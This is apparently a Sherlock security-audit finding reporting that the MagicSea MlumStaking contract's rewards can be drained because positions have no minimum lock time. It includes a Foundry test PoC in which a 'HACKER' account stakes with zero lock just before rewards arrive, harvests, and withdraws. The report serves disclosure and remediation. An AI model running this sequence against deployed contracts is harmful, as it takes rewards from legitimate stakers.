sh0velware - MlumStaking rewards can be drained

[sherlock-admin3]

sh0velware

High

MlumStaking rewards can be drained

Summary

Since there is no minimum staking time, the reward mechanism can be gamed to drain the rewards from the contract as soon as they are added.

Vulnerability Detail

Any added reward can be drained as soon as they are added to the contract, given that there is no minimum lock time. Because of this, any attacker could easily front-run the reward transfer to create a position with a significant amount of tokens locked, harvest the rewards and then withdraw the tokens from the pool.

Impact

The described behavior will allow any user to drain the rewards, stealing them from the legitimate user's portion.

Code Snippet

https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L677-L678

Tool used

Manual Review

PoC:

    function drainRewards() public{ 
        _stakingToken.mint(ALICE, 1 ether);
        _stakingToken.mint(BOB, 1 ether);
        _stakingToken.mint(HACKER, 1000 ether); 

        vm.startPrank(ALICE);
        _stakingToken.approve(address(_pool), 1 ether);
        _pool.createPosition(1 ether, 365 days);
        
        vm.startPrank(BOB);
        _stakingToken.approve(address(_pool), 1 ether);
        _pool.createPosition(1 ether, 365 days);

        vm.startPrank(HACKER); 
        _stakingToken.approve(address(_pool), 1000 ether);
        _pool.createPosition(1000 ether, 0);
        vm.stopPrank();

        _rewardToken.mint(address(_pool), 100_000_000); //Adding rewards

        vm.startPrank(HACKER);
        _pool.harvestPosition(3);
        _pool.withdrawFromPosition(3, 1000 ether);
    }

Recommendation

A minimum locking time should be defined, so the positions are eligible to claim rewards.

Duplicate of #74